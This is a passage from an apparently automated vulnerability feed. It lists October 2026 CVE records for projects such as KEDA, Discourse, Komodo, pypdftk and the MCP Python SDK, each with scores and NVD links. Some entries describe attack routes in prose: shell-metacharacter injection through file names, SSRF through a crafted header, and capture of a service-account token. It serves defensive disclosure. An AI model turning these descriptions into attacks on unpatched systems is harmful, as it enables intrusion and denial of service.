kin-openapi is a Go project for handling OpenAPI files. Prior to 0.148.0, the OpenAPI 3.1 validation path passes YAML NaN and infinity numeric values to santhosh-tekuri/jsonschema v6.0.2 without applying kin-openapi's existing finite-number guards. A remote unauthenticated client can send an application/yaml or application/x-yaml request body containing .nan, .inf, or -.inf to an operation with a numeric constraint, causing the dependency to create and dereference a nil big.Rat during ValidateRequest. Standard net/http servers recover the panic per connection, while other hosts or application goroutines may terminate the process. This issue is fixed in version 0.148.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications.
https://kevwire.com/record/CVE-2026-92150
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. (Oct 14, 2026).
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::GenericHub fromBufferDriver_handler deserialization is vulnerable because the receive handler uses FW_ASSERT for externally influenced deserialization status and type validation and permits a command payload size subtraction to underflow. When an unauthenticated inter-processor hub peer sends a truncated buffer, an invalid HubType, or a header-only command-dispatch payload, malformed hub traffic aborts or resets the process, causing denial of service. This issue is fixed in version 4.2.0.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92150).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92150&date=2026-10-25).
Sources:
NVD CVE-2026-92150: https://nvd.nist.gov/vuln/detail/CVE-2026-92150
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92150&date=2026-10-25
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::GenericHub fromBufferDriver_handler deserialization is vulnerable because the receive handler uses FW_ASSERT for externally influenced deserialization status and type validation and permits a command payload size subtraction to underflow. When an unauthenticated inter-processor hub peer sends a truncated buffer, an invalid HubType, or a header-only command-dispatch payload, malformed hub traffic aborts or resets the process, causing denial of service. This issue is fixed in version 4.2.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Discourse is an open-source discussion platform.
https://kevwire.com/record/CVE-2026-91159
Discourse is an open-source discussion platform. (Oct 14, 2026).
Discourse is an open-source discussion platform. Prior to 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9, oEmbed processing treated an entire attacker-controlled HTML fragment as trusted when the fragment contained an iframe whose source matched the configured allowlist. A user with posting permission who controlled a public webpage and its oEmbed response could combine an allowlisted iframe with unrelated sibling HTML or CSS, causing stored visual overlays or other styled content to appear in post content and enabling misleading or fraudulent user interfaces. Exploitation requires a posting account, control of the fetched webpage and oEmbed response, and an allowlisted iframe source. The issue affects content integrity but does not expose restricted data, disrupt availability, or require interaction with Discourse Content Security Policy. This issue is fixed in versions 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9.
CVSS 7.7 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91159).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91159&date=2026-10-25).
Sources:
NVD CVE-2026-91159: https://nvd.nist.gov/vuln/detail/CVE-2026-91159
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91159&date=2026-10-25
Discourse is an open-source discussion platform. Prior to 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9, oEmbed processing treated an entire attacker-controlled HTML fragment as trusted when the fragment contained an iframe whose source matched the configured allowlist. A user with posting permission who controlled a public webpage and its oEmbed response could combine an allowlisted iframe with unrelated sibling HTML or CSS, causing stored visual overlays or other styled content to appear in post content and enabling misleading or fraudulent user interfaces. Exploitation requires a posting account, control of the fetched webpage and oEmbed response, and an allowlisted iframe source. The issue affects content integrity but does not expose restricted data, disrupt availability, or require interaction with Discourse Content Security Policy. This issue is fixed in versions 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Discourse is an open-source discussion platform.
https://kevwire.com/record/CVE-2026-91157
Discourse is an open-source discussion platform. (Oct 14, 2026).
Discourse is an open-source discussion platform. Prior to 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9, sites with secure uploads enabled did not reconcile existing upload security metadata when a previously public category became read-restricted or when category permissions changed during a bulk import. Media and attachments uploaded while the category was public retained a public accessibility flag and remained reachable by anonymous users through their short upload URLs, including uploads associated with deleted topics. This issue is fixed in versions 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91157).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91157&date=2026-10-25).
Sources:
NVD CVE-2026-91157: https://nvd.nist.gov/vuln/detail/CVE-2026-91157
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91157&date=2026-10-25
Discourse is an open-source discussion platform. Prior to 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9, sites with secure uploads enabled did not reconcile existing upload security metadata when a previously public category became read-restricted or when category permissions changed during a bulk import. Media and attachments uploaded while the category was public retained a public accessibility flag and remained reachable by anonymous users through their short upload URLs, including uploads associated with deleted topics. This issue is fixed in versions 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### KEDA is a Kubernetes-based Event Driven Autoscaling component.
https://kevwire.com/record/CVE-2026-77524
KEDA is a Kubernetes-based Event Driven Autoscaling component. (Oct 14, 2026).
KEDA is a Kubernetes-based Event Driven Autoscaling component. In version 2.20.2 and earlier, a namespace administrator who can create TriggerAuthentication and ScaledObject resources can set hashiCorpVault.address to a tenant-controlled endpoint and select Kubernetes authentication without an explicit credential. KEDA then uses the operator pod's projected ServiceAccount token and sends it to that endpoint as a Vault login credential. The JWT-shape filter from the prior CVE-2025-68476 remediation accepts the operator token because its subject is a Kubernetes ServiceAccount, so the attacker can obtain the operator's cluster-wide permissions, including broad Secret reads and workload or admission-related operations. This vulnerability is fixed in 2.21.0.
CVSS 9.9 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77524).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77524&date=2026-10-25).
Sources:
NVD CVE-2026-77524: https://nvd.nist.gov/vuln/detail/CVE-2026-77524
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77524&date=2026-10-25
KEDA is a Kubernetes-based Event Driven Autoscaling component. In version 2.20.2 and earlier, a namespace administrator who can create TriggerAuthentication and ScaledObject resources can set hashiCorpVault.address to a tenant-controlled endpoint and select Kubernetes authentication without an explicit credential. KEDA then uses the operator pod's projected ServiceAccount token and sends it to that endpoint as a Vault login credential. The JWT-shape filter from the prior CVE-2025-68476 remediation accepts the operator token because its subject is a Kubernetes ServiceAccount, so the attacker can obtain the operator's cluster-wide permissions, including broad Secret reads and workload or admission-related operations. This vulnerability is fixed in 2.21.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mongoose is an embedded web server and network library.
https://kevwire.com/record/CVE-2026-73260
Mongoose is an embedded web server and network library. (Oct 14, 2026).
Mongoose is an embedded web server and network library. Prior to 7.23, the built-in TLS certificate parser selected by MG_TLS_BUILTIN fails to verify that a long-form DER element length fits within the remaining certificate buffer. In mg_der_to_tlv() and mg_der_next(), a peer-controlled length can advance the parser beyond the certificate and underflow the remaining uint32_t length, causing mg_tls_parse_cert_der() to continue walking an invalid pointer. An unauthenticated malicious TLS server, or a client presenting a certificate to a server configured for client certificates, can trigger an out-of-bounds read and denial of service during the handshake. This issue is fixed in version 7.23.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-73260).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73260&date=2026-10-25).
Sources:
NVD CVE-2026-73260: https://nvd.nist.gov/vuln/detail/CVE-2026-73260
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73260&date=2026-10-25
Mongoose is an embedded web server and network library. Prior to 7.23, the built-in TLS certificate parser selected by MG_TLS_BUILTIN fails to verify that a long-form DER element length fits within the remaining certificate buffer. In mg_der_to_tlv() and mg_der_next(), a peer-controlled length can advance the parser beyond the certificate and underflow the remaining uint32_t length, causing mg_tls_parse_cert_der() to continue walking an invalid pointer. An unauthenticated malicious TLS server, or a client presenting a certificate to a server configured for client certificates, can trigger an out-of-bounds read and denial of service during the handshake. This issue is fixed in version 7.23.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FOG is a free open-source cloning/imaging/rescue suite/inventory management system.
https://kevwire.com/record/CVE-2026-54554
FOG is a free open-source cloning/imaging/rescue suite/inventory management system. (Oct 14, 2026).
FOG is a free open-source cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.1870, the management adInfo() endpoint in packages/web/lib/fog/fogpage.class.php was reported to return the FOG_AD_DEFAULT_PASSWORD value in its domainpass JSON field and to be dispatchable through node=ipxe without an authenticated session. The response was also consumed by host and group Active Directory configuration interfaces. This could disclose the default domain-join credential to a remote unauthenticated requester. This vulnerability is fixed in 1.5.10.1870.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-54554).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-54554&date=2026-10-25).
Sources:
NVD CVE-2026-54554: https://nvd.nist.gov/vuln/detail/CVE-2026-54554
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-54554&date=2026-10-25
FOG is a free open-source cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.1870, the management adInfo() endpoint in packages/web/lib/fog/fogpage.class.php was reported to return the FOG_AD_DEFAULT_PASSWORD value in its domainpass JSON field and to be dispatchable through node=ipxe without an authenticated session. The response was also consumed by host and group Active Directory configuration interfaces. This could disclose the default domain-join credential to a remote unauthenticated requester. This vulnerability is fixed in 1.5.10.1870.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Portkey AI Gateway 1.14.0 through 1.15.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to reach loopback and Docker host services...
https://kevwire.com/record/CVE-2026-110719
Portkey AI Gateway 1.14.0 through 1.15.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to reach loopback and Docker host services... (Oct 14, 2026).
Portkey AI Gateway 1.14.0 through 1.15.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to reach loopback and Docker host services because isValidCustomHost trusts localhost-style hosts when TRUSTED_CUSTOM_HOSTS is unset. Attackers can send /v1 requests with a crafted x-portkey-custom-host header, such as via the ollama provider, to make the gateway call internal services and return their responses.
CVSS 6.9 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110719).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110719&date=2026-10-25).
Sources:
NVD CVE-2026-110719: https://nvd.nist.gov/vuln/detail/CVE-2026-110719
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110719&date=2026-10-25
Portkey AI Gateway 1.14.0 through 1.15.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to reach loopback and Docker host services because isValidCustomHost trusts localhost-style hosts when TRUSTED_CUSTOM_HOSTS is unset. Attackers can send /v1 requests with a crafted x-portkey-custom-host header, such as via the ollama provider, to make the gateway call internal services and return their responses.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libsmb2 through 6.2 contains an integer underflow vulnerability in decode_acl that allows malicious SMB servers to trigger heap out-of-bounds reads via crafted security...
https://kevwire.com/record/CVE-2026-110714
libsmb2 through 6.2 contains an integer underflow vulnerability in decode_acl that allows malicious SMB servers to trigger heap out-of-bounds reads via crafted security... (Oct 14, 2026).
libsmb2 through 6.2 contains an integer underflow vulnerability in decode_acl that allows malicious SMB servers to trigger heap out-of-bounds reads via crafted security descriptors. Attackers controlling a server or intercepting unsigned sessions can send an AclSize below 8 in a QUERY_INFO reply, bypassing ACE bounds checks and crashing the client.
CVSS 7.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110714).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110714&date=2026-10-25).
Sources:
NVD CVE-2026-110714: https://nvd.nist.gov/vuln/detail/CVE-2026-110714
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110714&date=2026-10-25
libsmb2 through 6.2 contains an integer underflow vulnerability in decode_acl that allows malicious SMB servers to trigger heap out-of-bounds reads via crafted security descriptors. Attackers controlling a server or intercepting unsigned sessions can send an AclSize below 8 in a QUERY_INFO reply, bypassing ACE bounds checks and crashing the client.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Beganovich snappdf from 1.1.0 before 6.1.0 contains an OS command injection vulnerability on Windows that allows attackers to run commands by influencing the rendered URL.
https://kevwire.com/record/CVE-2026-110646
Beganovich snappdf from 1.1.0 before 6.1.0 contains an OS command injection vulnerability on Windows that allows attackers to run commands by influencing the rendered URL. (Oct 14, 2026).
Beganovich snappdf from 1.1.0 before 6.1.0 contains an OS command injection vulnerability on Windows that allows attackers to run commands by influencing the rendered URL. Attackers can supply cmd.exe metacharacters such as & in the setUrl() value, which executeOnWindows() passes unescaped to PHP exec(), executing commands as the PHP process.
CVSS 9.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110646).
EPSS 2.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110646&date=2026-10-25).
Sources:
NVD CVE-2026-110646: https://nvd.nist.gov/vuln/detail/CVE-2026-110646
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110646&date=2026-10-25
Beganovich snappdf from 1.1.0 before 6.1.0 contains an OS command injection vulnerability on Windows that allows attackers to run commands by influencing the rendered URL. Attackers can supply cmd.exe metacharacters such as & in the setUrl() value, which executeOnWindows() passes unescaped to PHP exec(), executing commands as the PHP process.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### @runnerty/executor-decompress through 3.1.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted archive file names to...
https://kevwire.com/record/CVE-2026-110641
@runnerty/executor-decompress through 3.1.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted archive file names to... (Oct 14, 2026).
@runnerty/executor-decompress through 3.1.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted archive file names to compress_file. Attackers who can name a file dropped into a watched directory can inject $() substitutions or unquoted shell metacharacters into shelljs exec() calls, running commands with Runnerty process privileges.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110641).
EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110641&date=2026-10-25).
Sources:
NVD CVE-2026-110641: https://nvd.nist.gov/vuln/detail/CVE-2026-110641
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110641&date=2026-10-25
@runnerty/executor-decompress through 3.1.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted archive file names to compress_file. Attackers who can name a file dropped into a watched directory can inject $() substitutions or unquoted shell metacharacters into shelljs exec() calls, running commands with Runnerty process privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pypdftk through 0.5 contains an OS command injection vulnerability in fill_form(), dump_data_fields(), and pdftk_cmd_util() that builds shell commands from caller-supplied paths.
https://kevwire.com/record/CVE-2026-110636
pypdftk through 0.5 contains an OS command injection vulnerability in fill_form(), dump_data_fields(), and pdftk_cmd_util() that builds shell commands from caller-supplied paths. (Oct 14, 2026).
pypdftk through 0.5 contains an OS command injection vulnerability in fill_form(), dump_data_fields(), and pdftk_cmd_util() that builds shell commands from caller-supplied paths. Attackers controlling pdf_path or out_file can inject shell metacharacters interpreted by subprocess.Popen with shell=True to execute OS commands as the Python process.
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110636).
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110636&date=2026-10-25).
Sources:
NVD CVE-2026-110636: https://nvd.nist.gov/vuln/detail/CVE-2026-110636
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110636&date=2026-10-25
pypdftk through 0.5 contains an OS command injection vulnerability in fill_form(), dump_data_fields(), and pdftk_cmd_util() that builds shell commands from caller-supplied paths. Attackers controlling pdf_path or out_file can inject shell metacharacters interpreted by subprocess.Popen with shell=True to execute OS commands as the Python process.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Komodo through 2.3.3 contains an authentication bypass vulnerability in the Periphery agent that allows unauthenticated attackers to connect as a trusted Core because empty...
https://kevwire.com/record/CVE-2026-110631
Komodo through 2.3.3 contains an authentication bypass vulnerability in the Periphery agent that allows unauthenticated attackers to connect as a trusted Core because empty... (Oct 14, 2026).
Komodo through 2.3.3 contains an authentication bypass vulnerability in the Periphery agent that allows unauthenticated attackers to connect as a trusted Core because empty core_public_keys and passkeys lists fail open by default. Attackers reaching port 8120 can present any generated keypair to issue Periphery API requests, including terminal sessions and container operations, executing commands on managed hosts typically as root.
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110631).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110631&date=2026-10-25).
Sources:
NVD CVE-2026-110631: https://nvd.nist.gov/vuln/detail/CVE-2026-110631
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110631&date=2026-10-25
Komodo through 2.3.3 contains an authentication bypass vulnerability in the Periphery agent that allows unauthenticated attackers to connect as a trusted Core because empty core_public_keys and passkeys lists fail open by default. Attackers reaching port 8120 can present any generated keypair to issue Periphery API requests, including terminal sessions and container operations, executing commands on managed hosts typically as root.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Swetrix Cloud before 5.1.0 contains a missing authorization vulnerability in ProjectController.addProject that allows authenticated users to hijack arbitrary projects by moving...
https://kevwire.com/record/CVE-2026-110621
Swetrix Cloud before 5.1.0 contains a missing authorization vulnerability in ProjectController.addProject that allows authenticated users to hijack arbitrary projects by moving... (Oct 14, 2026).
Swetrix Cloud before 5.1.0 contains a missing authorization vulnerability in ProjectController.addProject that allows authenticated users to hijack arbitrary projects by moving them into their own organisation. Attackers can create an organisation and add a victim project by its public tracking ID to read analytics, change settings, or delete it.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110621).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110621&date=2026-10-25).
Sources:
NVD CVE-2026-110621: https://nvd.nist.gov/vuln/detail/CVE-2026-110621
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110621&date=2026-10-25
Swetrix Cloud before 5.1.0 contains a missing authorization vulnerability in ProjectController.addProject that allows authenticated users to hijack arbitrary projects by moving them into their own organisation. Attackers can create an organisation and add a victim project by its public tracking ID to read analytics, change settings, or delete it.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NullHub through 2026.5.29 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* management API because the auth_token field...
https://kevwire.com/record/CVE-2026-110616
NullHub through 2026.5.29 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* management API because the auth_token field... (Oct 14, 2026).
NullHub through 2026.5.29 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* management API because the auth_token field defaults to null and is never assigned. Attackers sending requests without Authorization or Origin headers to non-loopback listeners can control agent instances, rewrite configurations including provider credentials, and manage cron jobs and MCP servers.
CVSS 9.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110616).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110616&date=2026-10-25).
Sources:
NVD CVE-2026-110616: https://nvd.nist.gov/vuln/detail/CVE-2026-110616
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110616&date=2026-10-25
NullHub through 2026.5.29 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* management API because the auth_token field defaults to null and is never assigned. Attackers sending requests without Authorization or Origin headers to non-loopback listeners can control agent instances, rewrite configurations including provider credentials, and manage cron jobs and MCP servers.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Model Context Protocol Python SDK is the official Python SDK for Model Context Protocol servers and clients.
https://kevwire.com/record/CVE-2026-109527
The Model Context Protocol Python SDK is the official Python SDK for Model Context Protocol servers and clients. (Oct 14, 2026).
The Model Context Protocol Python SDK is the official Python SDK for Model Context Protocol servers and clients. In mcp versions before 1.29.1 and from 2.0.0a1 through 2.0.1, the Streamable HTTP session manager, SSE message endpoint, and OAuth authorization-server routes buffer complete HTTP request bodies without enforcing a maximum size. An unauthenticated remote client able to reach an affected endpoint can send a large declared or streamed request body that consumes multiple times the body size in process memory and can repeatedly exhaust memory or terminate the server. Stdio-only servers and deployments with an effective upstream request-size limit are not affected, and applications that use StreamableHTTPServerTransport directly remain responsible for enforcing their own limit. The standard SDK server applications and session managers are fixed in versions 1.29.1 and 2.1.0.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109527).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109527&date=2026-10-25).
Sources:
NVD CVE-2026-109527: https://nvd.nist.gov/vuln/detail/CVE-2026-109527
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109527&date=2026-10-25
The Model Context Protocol Python SDK is the official Python SDK for Model Context Protocol servers and clients. In mcp versions before 1.29.1 and from 2.0.0a1 through 2.0.1, the Streamable HTTP session manager, SSE message endpoint, and OAuth authorization-server routes buffer complete HTTP request bodies without enforcing a maximum size. An unauthenticated remote client able to reach an affected endpoint can send a large declared or streamed request body that consumes multiple times the body size in process memory and can repeatedly exhaust memory or terminate the server. Stdio-only servers and deployments with an effective upstream request-size limit are not affected, and applications that use StreamableHTTPServerTransport directly remain responsible for enforcing their own limit. The standard SDK server applications and session managers are fixed in versions 1.29.1 and 2.1.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OmniFaces is a utility library for Faces.
https://kevwire.com/record/CVE-2026-102695
OmniFaces is a utility library for Faces. (Oct 14, 2026).
OmniFaces is a utility library for Faces. In OmniFaces versions before 1.14.3, 2.7.33, 3.14.23, 4.7.12, and 5.4.2, CombinedResourceHandler accepts a structurally valid deflated and base64 encoded combined resource ID without verifying that the server issued it. A forged ID can cause unbounded decoded output, add unique reconstructed IDs to a process-lifetime cache, or combine resources other than stylesheets and scripts. Because jakarta.faces.RESOURCE_EXCLUDES is not applied by this custom resolution path, a forged ID can disclose Facelets source from the webapp resource tree or META-INF/resources. In a deployment configured with the wildcard CDN mapping, a forged ID that selects omnifaces.graphic can also cause a blind, deployment-dependent server-side fetch whose destination derives partly from the request Host header. The flaw does not provide arbitrary file read or establish arbitrary-scheme or arbitrary-destination SSRF. The shared authenticity failure permits memory exhaustion and limited resource disclosure. This issue is fixed in versions 1.14.3, 2.7.33, 3.14.23, 4.7.12, and 5.4.2.
CVSS 8.2 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102695).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102695&date=2026-10-25).
Sources:
NVD CVE-2026-102695: https://nvd.nist.gov/vuln/detail/CVE-2026-102695
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102695&date=2026-10-25
